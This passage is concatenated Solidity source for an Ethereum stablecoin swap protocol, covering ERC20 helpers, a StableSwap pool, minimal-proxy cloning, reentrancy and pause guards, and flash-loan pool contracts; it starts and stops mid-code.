* * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IAllowlist { function getPoolAccountLimit(address poolAddress) external view returns (uint256); function getPoolCap(address poolAddress) external view returns (uint256); function verifyAddress(address account, bytes32[] calldata merkleProof) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "./OwnerPausableUpgradeable.sol"; import "./SwapUtils.sol"; import "./AmplificationUtils.sol"; /** * @title Swap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's * deployment size. */ contract Swap is OwnerPausableUpgradeable, ReentrancyGuardUpgradeable { using SafeERC20 for IERC20; using SafeMath for uint256; using SwapUtils for SwapUtils.Swap; using AmplificationUtils for SwapUtils.Swap; // Struct storing data responsible for automatic market maker functionalities. In order to // access this data, this contract uses SwapUtils library. For more details, see SwapUtils.sol SwapUtils.Swap public swapStorage; // Maps token address to an index in the pool. Used to prevent duplicate tokens in the pool. // getTokenIndex function also relies on this mapping to retrieve token index. mapping(address => uint8) private tokenIndexes; /*** EVENTS ***/ // events replicated from SwapUtils to make the ABI easier for dumb // clients event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); /** * @notice Initializes this Swap contract with the given parameters. * This will also clone a LPToken contract that represents users' * LP positions. The owner of LPToken will be this contract - which means * only this contract is allowed to mint/burn tokens. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param lpTokenTargetAddress the address of an existing LPToken contract to use as a target */ function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress ) public virtual initializer { __OwnerPausable_init(); __ReentrancyGuard_init(); // Check _pooledTokens and precisions parameter require(_pooledTokens.length > 1, "_pooledTokens.length <= 1"); require(_pooledTokens.length <= 32, "_pooledTokens.length > 32"); require( _pooledTokens.length == decimals.length, "_pooledTokens decimals mismatch" ); uint256[] memory precisionMultipliers = new uint256[](decimals.length); for (uint8 i = 0; i < _pooledTokens.length; i++) { if (i > 0) { // Check if index is already used. Check if 0th element is a duplicate. require( tokenIndexes[address(_pooledTokens[i])] == 0 && _pooledTokens[0] != _pooledTokens[i], "Duplicate tokens" ); } require( address(_pooledTokens[i]) != address(0), "The 0 address isn't an ERC-20" ); require( decimals[i] <= SwapUtils.POOL_PRECISION_DECIMALS, "Token decimals exceeds max" ); precisionMultipliers[i] = 10 ** uint256(SwapUtils.POOL_PRECISION_DECIMALS).sub( uint256(decimals[i]) ); tokenIndexes[address(_pooledTokens[i])] = i; } // Check _a, _fee, _adminFee, _withdrawFee parameters require(_a < AmplificationUtils.MAX_A, "_a exceeds maximum"); require(_fee < SwapUtils.MAX_SWAP_FEE, "_fee exceeds maximum"); require( _adminFee < SwapUtils.MAX_ADMIN_FEE, "_adminFee exceeds maximum" ); // Clone and initialize a LPToken contract LPToken lpToken = LPToken(Clones.clone(lpTokenTargetAddress)); require( lpToken.initialize(lpTokenName, lpTokenSymbol), "could not init lpToken clone" ); // Initialize swapStorage struct swapStorage.lpToken = lpToken; swapStorage.pooledTokens = _pooledTokens; swapStorage.tokenPrecisionMultipliers = precisionMultipliers; swapStorage.balances = new uint256[](_pooledTokens.length); swapStorage.initialA = _a.mul(AmplificationUtils.A_PRECISION); swapStorage.futureA = _a.mul(AmplificationUtils.A_PRECISION); // swapStorage.initialATime = 0; // swapStorage.futureATime = 0; swapStorage.swapFee = _fee; swapStorage.adminFee = _adminFee; } /*** MODIFIERS ***/ /** * @notice Modifier to check deadline against current timestamp * @param deadline latest timestamp to accept this transaction */ modifier deadlineCheck(uint256 deadline) { require(block.timestamp <= deadline, "Deadline not met"); _; } /*** VIEW FUNCTIONS ***/ /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @return A parameter */ function getA() external view virtual returns (uint256) { return swapStorage.getA(); } /** * @notice Return A in its raw precision form * @dev See the StableSwap paper for details * @return A parameter in its raw precision form */ function getAPrecise() external view virtual returns (uint256) { return swapStorage.getAPrecise(); } /** * @notice Return address of the pooled token at given index. Reverts if tokenIndex is out of range. * @param index the index of the token * @return address of the token at given index */ function getToken(uint8 index) public view virtual returns (IERC20) { require(index < swapStorage.pooledTokens.length, "Out of range"); return swapStorage.pooledTokens[index]; } /** * @notice Return the index of the given token address. Reverts if no matching * token is found. * @param tokenAddress address of the token * @return the index of the given token address */ function getTokenIndex(address tokenAddress) public view virtual returns (uint8) { uint8 index = tokenIndexes[tokenAddress]; require( address(getToken(index)) == tokenAddress, "Token does not exist" ); return index; } /** * @notice Return current balance of the pooled token at given index * @param index the index of the token * @return current balance of the pooled token at given index with token's native precision */ function getTokenBalance(uint8 index) external view virtual returns (uint256) { require(index < swapStorage.pooledTokens.length, "Index out of range"); return swapStorage.balances[index]; } /** * @notice Get the virtual price, to help calculate profit * @return the virtual price, scaled to the POOL_PRECISION_DECIMALS */ function getVirtualPrice() external view virtual returns (uint256) { return swapStorage.getVirtualPrice(); } /** * @notice Calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view virtual returns (uint256) { return swapStorage.calculateSwap(tokenIndexFrom, tokenIndexTo, dx); } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return token amount the user will receive */ function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view virtual returns (uint256) { return swapStorage.calculateTokenAmount(amounts, deposit); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of LP tokens * @param amount the amount of LP tokens that would be burned on withdrawal * @return array of token balances that the user will receive */ function calculateRemoveLiquidity(uint256 amount) external view virtual returns (uint256[] memory) { return swapStorage.calculateRemoveLiquidity(amount); } /** * @notice Calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view virtual returns (uint256 availableTokenAmount) { return swapStorage.calculateWithdrawOneToken(tokenAmount, tokenIndex); } /** * @notice This function reads the accumulated amount of admin fees of the token with given index * @param index Index of the pooled token * @return admin's token balance in the token's precision */ function getAdminBalance(uint256 index) external view virtual returns (uint256) { return swapStorage.getAdminBalance(index); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice Swap two tokens using this pool * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.swap(tokenIndexFrom, tokenIndexTo, dx, minDy); } /** * @notice Add liquidity to the pool with the given amounts of tokens * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amount of LP token user minted and received */ function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.addLiquidity(amounts, minToMint); } /** * @notice Burn LP tokens to remove liquidity from the pool. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @dev Liquidity can always be removed, even when the pool is paused. * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amounts of tokens user received */ function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external virtual nonReentrant deadlineCheck(deadline) returns (uint256[] memory) { return swapStorage.removeLiquidity(amount, minAmounts); } /** * @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @param deadline latest timestamp to accept this transaction * @return amount of chosen token user received */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityOneToken( tokenAmount, tokenIndex, minAmount ); } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @param deadline latest timestamp to accept this transaction * @return amount of LP tokens burned */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityImbalance(amounts, maxBurnAmount); } /*** ADMIN FUNCTIONS ***/ /** * @notice Withdraw all admin fees to the contract owner */ function withdrawAdminFees() external onlyOwner { swapStorage.withdrawAdminFees(owner()); } /** * @notice Update the admin fee. Admin fee takes portion of the swap fee. * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(uint256 newAdminFee) external onlyOwner { swapStorage.setAdminFee(newAdminFee); } /** * @notice Update the swap fee to be applied on swaps * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(uint256 newSwapFee) external onlyOwner { swapStorage.setSwapFee(newSwapFee); } /** * @notice Start ramping up or down A parameter towards given futureA and futureTime * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param futureA the new A to ramp towards * @param futureTime timestamp when the new A should be reached */ function rampA(uint256 futureA, uint256 futureTime) external onlyOwner { swapStorage.rampA(futureA, futureTime); } /** * @notice Stop ramping A immediately. Reverts if ramp A is already stopped. */ function stopRampA() external onlyOwner { swapStorage.stopRampA(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create opcode, which should never revert. */ function clone(address master) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `master` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(master, salt, address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; /** * @title OwnerPausable * @notice An ownable contract allows the owner to pause and unpause the * contract without a delay. * @dev Only methods using the provided modifiers will be paused. */ abstract contract OwnerPausableUpgradeable is OwnableUpgradeable, PausableUpgradeable { function __OwnerPausable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); __Pausable_init_unchained(); } /** * @notice Pause the contract. Revert if already paused. */ function pause() external onlyOwner { PausableUpgradeable._pause(); } /** * @notice Unpause the contract. Revert if already unpaused. */ function unpause() external onlyOwner { PausableUpgradeable._unpause(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT WITH AGPL-3.0-only pragma solidity 0.6.12; import "./Swap.sol"; import "./interfaces/IFlashLoanReceiver.sol"; /** * @title Swap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's * deployment size. */ contract SwapFlashLoan is Swap { // Total fee that is charged on all flashloans in BPS. Borrowers must repay the amount plus the flash loan fee. // This fee is split between the protocol and the pool. uint256 public flashLoanFeeBPS; // Share of the flash loan fee that goes to the protocol in BPS. A portion of each flash loan fee is allocated // to the protocol rather than the pool. uint256 public protocolFeeShareBPS; // Max BPS for limiting flash loan fee settings. uint256 public constant MAX_BPS = 10000; /*** EVENTS ***/ event FlashLoan( address indexed receiver, uint8 tokenIndex, uint256 amount, uint256 amountFee, uint256 protocolFee ); /** * @notice Initializes this Swap contract with the given parameters. * This will also clone a LPToken contract that represents users' * LP positions. The owner of LPToken will be this contract - which means * only this contract is allowed to mint/burn tokens. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param lpTokenTargetAddress the address of an existing LPToken contract to use as a target */ function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress ) public virtual override initializer { Swap.initialize( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, lpTokenTargetAddress ); flashLoanFeeBPS = 8; // 8 bps protocolFeeShareBPS = 0; // 0 bps } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice Borrow the specified token from this pool for this transaction only. This function will call * `IFlashLoanReceiver(receiver).executeOperation` and the `receiver` must return the full amount of the token * and the associated fee by the end of the callback transaction. If the conditions are not met, this call * is reverted. * @param receiver the address of the receiver of the token. This address must implement the IFlashLoanReceiver * interface and the callback function `executeOperation`. * @param token the protocol fee in bps to be applied on the total flash loan fee * @param amount the total amount to borrow in this transaction * @param params optional data to pass along to the callback function */ function flashLoan( address receiver, IERC20 token, uint256 amount, bytes memory params ) external nonReentrant { uint8 tokenIndex = getTokenIndex(address(token)); uint256 availableLiquidityBefore = token.balanceOf(address(this)); uint256 protocolBalanceBefore = availableLiquidityBefore.sub( swapStorage.balances[tokenIndex] ); require( amount > 0 && availableLiquidityBefore >= amount, "invalid amount" ); // Calculate the additional amount of tokens the pool should end up with uint256 amountFee = amount.mul(flashLoanFeeBPS).div(10000); // Calculate the portion of the fee that will go to the protocol uint256 protocolFee = amountFee.mul(protocolFeeShareBPS).div(10000); require(amountFee > 0, "amount is small for a flashLoan"); // Transfer the requested amount of tokens token.safeTransfer(receiver, amount); // Execute callback function on receiver IFlashLoanReceiver(receiver).executeOperation( address(this), address(token), amount, amountFee, params ); uint256 availableLiquidityAfter = token.balanceOf(address(this)); require( availableLiquidityAfter >= availableLiquidityBefore.add(amountFee), "flashLoan fee is not met" ); swapStorage.balances[tokenIndex] = availableLiquidityAfter .sub(protocolBalanceBefore) .sub(protocolFee); emit FlashLoan(receiver, tokenIndex, amount, amountFee, protocolFee); } /*** ADMIN FUNCTIONS ***/ /** * @notice Updates the flash loan fee parameters. This function can only be called by the owner. * @param newFlashLoanFeeBPS the total fee in bps to be applied on future flash loans * @param newProtocolFeeShareBPS the protocol fee in bps to be applied on the total flash loan fee */ function setFlashLoanFees( uint256 newFlashLoanFeeBPS, uint256 newProtocolFeeShareBPS ) external onlyOwner { require( newFlashLoanFeeBPS > 0 && newFlashLoanFeeBPS <= MAX_BPS && newProtocolFeeShareBPS <= MAX_BPS, "fees are not in valid range" ); flashLoanFeeBPS = newFlashLoanFeeBPS; protocolFeeShareBPS = newProtocolFeeShareBPS; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.6.12; /** * @title IFlashLoanReceiver interface * @notice Interface for the Saddle fee IFlashLoanReceiver. Modified from Aave's IFlashLoanReceiver interface. * https://github.com/aave/aave-protocol/blob/4b4545fb583fd4f400507b10f3c3114f45b8a037/contracts/flashloan/interfaces/IFlashLoanReceiver.sol * @author Aave * @dev implement this interface to develop a flashloan-compatible flashLoanReceiver contract **/ interface IFlashLoanReceiver { function executeOperation( address pool, address token, uint256 amount, uint256 fee, bytes calldata params ) external; } // SPDX-License-Identifier: MIT WITH AGPL-3.0-only pragma solidity 0.6.12; import "./SwapV1.sol"; import "./interfaces/IFlashLoanReceiver.sol"; /** * @title Swap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's * deployment size. */ contract SwapFlashLoanV1 is SwapV1 { // Total fee that is charged on all flashloans in BPS. Borrowers must repay the amount plus the flash loan fee. // This fee is split between the protocol and the pool. uint256 public flashLoanFeeBPS; // Share of the flash loan fee that goes to the protocol in BPS. A portion of each flash loan fee is allocated // to the protocol rather than the pool. uint256 public protocolFeeShareBPS; // Max BPS for limiting flash loan fee settings. uint256 public constant MAX_BPS = 10000; /*** EVENTS ***/ event FlashLoan( address indexed receiver, uint8 tokenIndex, uint256 amount, uint256 amountFee, uint256 protocolFee ); /** * @notice Initializes this Swap contract with the given parameters. * This will also clone a LPToken contract that represents users' * LP positions. The owner of LPToken will be this contract - which means * only this contract is allowed to mint/burn tokens. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param _withdrawFee default withdrawFee to be initialized with * @param lpTokenTargetAddress the address of an existing LPToken contract to use as a target */ function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, uint256 _withdrawFee, address lpTokenTargetAddress ) public virtual override initializer { SwapV1.initialize( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, _withdrawFee, lpTokenTargetAddress ); flashLoanFeeBPS = 8; // 8 bps protocolFeeShareBPS = 0; // 0 bps } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice Borrow the specified token from this pool for this transaction only. This function will call * `IFlashLoanReceiver(receiver).executeOperation` and the `receiver` must return the full amount of the token * and the associated fee by the end of the callback transaction. If the conditions are not met, this call * is reverted. * @param receiver the address of the receiver of the token. This address must implement the IFlashLoanReceiver * interface and the callback function `executeOperation`. * @param token the protocol fee in bps to be applied on the total flash loan fee * @param amount the total amount to borrow in this transaction * @param params optional data to pass along to the callback function */ function flashLoan( address receiver, IERC20 token, uint256 amount, bytes memory params ) external nonReentrant { uint8 tokenIndex = getTokenIndex(address(token)); uint256 availableLiquidityBefore = token.balanceOf(address(this)); uint256 protocolBalanceBefore = availableLiquidityBefore.sub( swapStorage.balances[tokenIndex] ); require( amount > 0 && availableLiquidityBefore >= amount, "invalid amount" ); // Calculate the additional amount of tokens the pool should end up with uint256 amountFee = amount.mul(flashLoanFeeBPS).div(10000); // Calculate the portion of the fee that will go to the protocol uint256 protocolFee = amountFee.mul(protocolFeeShareBPS).div(10000); require(amountFee > 0, "amount is small for a flashLoan"); // Transfer the requested amount of tokens token.safeTransfer(receiver, amount); // Execute callback function on receiver IFlashLoanReceiver(receiver).executeOperation( address(this), address(token), 